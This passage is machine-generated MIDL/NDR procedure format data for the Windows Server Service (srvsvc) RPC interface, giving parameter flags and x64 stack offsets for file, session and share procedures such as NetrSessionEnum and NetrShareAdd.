),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 366 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 368 */\tNdrFcShort( 0x178 ),\t/* Type Offset=376 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 370 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 372 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 374 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 376 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 378 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 380 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 382 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 384 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 386 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 388 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 390 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 392 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrFileGetInfo */\n\n/* 394 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 396 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 400 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 402 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 404 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 406 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 408 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 410 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 412 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 414 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 416 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 418 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 422 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 426 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 428 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 430 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter FileId */\n\n/* 432 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 434 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 438 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 440 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 442 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 444 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 446 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 448 */\tNdrFcShort( 0x18c ),\t/* Type Offset=396 */\n\n\t/* Return value */\n\n/* 450 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 452 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 454 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrFileClose */\n\n/* 456 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 458 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 462 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 464 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 466 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 468 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 470 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 472 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 474 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 476 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 478 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 484 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 486 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 488 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 490 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 492 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter FileId */\n\n/* 494 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 496 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 498 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 500 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 502 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 504 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrSessionEnum */\n\n/* 506 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 508 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 512 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 514 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 516 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 518 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 520 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 522 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 524 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 526 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 528 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 530 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 532 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 534 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 536 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 538 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 540 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 542 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ClientName */\n\n/* 544 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 546 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 548 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter UserName */\n\n/* 550 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 552 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 554 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 556 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 558 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 560 */\tNdrFcShort( 0x3a6 ),\t/* Type Offset=934 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 562 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 564 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 566 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 568 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 570 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 572 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 574 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 576 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 578 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 580 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 582 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 584 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrSessionDel */\n\n/* 586 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 588 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 592 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 594 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 596 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 598 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 600 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 602 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 604 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 606 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 608 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 610 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 618 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 620 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 622 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ClientName */\n\n/* 624 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 626 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 628 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter UserName */\n\n/* 630 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 632 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 634 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Return value */\n\n/* 636 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 638 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareAdd */\n\n/* 642 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 644 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 648 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 650 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 652 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 654 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 656 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 658 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 660 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 662 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 664 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 666 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 668 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 674 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 676 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 678 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 680 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 682 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 684 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 686 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 688 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 690 */\tNdrFcShort( 0x3ba ),\t/* Type Offset=954 */\n\n\t/* Parameter ParmErr */\n\n/* 692 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 694 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 696 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 698 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 700 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 702 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareEnum */\n\n/* 704 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 706 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 710 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 712 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 714 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 716 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 718 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 720 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 722 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 724 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 726 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 728 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 730 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 732 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 734 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 736 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 738 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 740 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 742 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 744 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 746 */\tNdrFcShort( 0x700 ),\t/* Type Offset=1792 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 748 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 750 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 752 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 754 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 756 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 758 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 760 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 762 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 764 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 766 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 768 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 770 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareGetInfo */\n\n/* 772 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 774 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 778 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 780 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 782 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 784 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 786 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 788 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 790 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 792 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 794 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 796 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 798 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 800 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 802 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 804 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 806 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 808 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 810 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 812 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 814 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Level */\n\n/* 816 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 818 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 820 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 822 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 824 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 826 */\tNdrFcShort( 0x718 ),\t/* Type Offset=1816 */\n\n\t/* Return value */\n\n/* 828 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 830 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 832 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareSetInfo */\n\n/* 834 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 836 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 840 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 842 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 844 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 846 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 848 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 850 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 852 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 854 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 856 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 858 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 860 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 862 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 864 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 866 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 868 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 870 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 872 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 874 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 876 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Level */\n\n/* 878 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 880 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 882 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ShareInfo */\n\n/* 884 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 886 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 888 */\tNdrFcShort( 0x730 ),\t/* Type Offset=1840 */\n\n\t/* Parameter ParmErr */\n\n/* 890 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 892 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 894 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 896 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 898 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 900 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDel */\n\n/* 902 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 904 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 908 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 910 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 912 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 914 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 916 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 918 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 920 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 922 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 924 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 926 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 928 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 930 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 932 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 934 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 936 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 938 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 940 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 942 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 944 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Reserved */\n\n/* 946 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 948 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 950 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 952 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 954 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 956 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDelSticky */\n\n/* 958 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 960 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 964 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 966 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 968 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 970 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 972 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 974 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 976 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 978 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 980 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 982 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 984 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 986 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 988 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 990 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 992 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 994 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 996 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 998 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1000 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Reserved */\n\n/* 1002 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1004 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1006 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1008 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1010 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1012 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareCheck */\n\n/* 1014 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1016 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1020 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 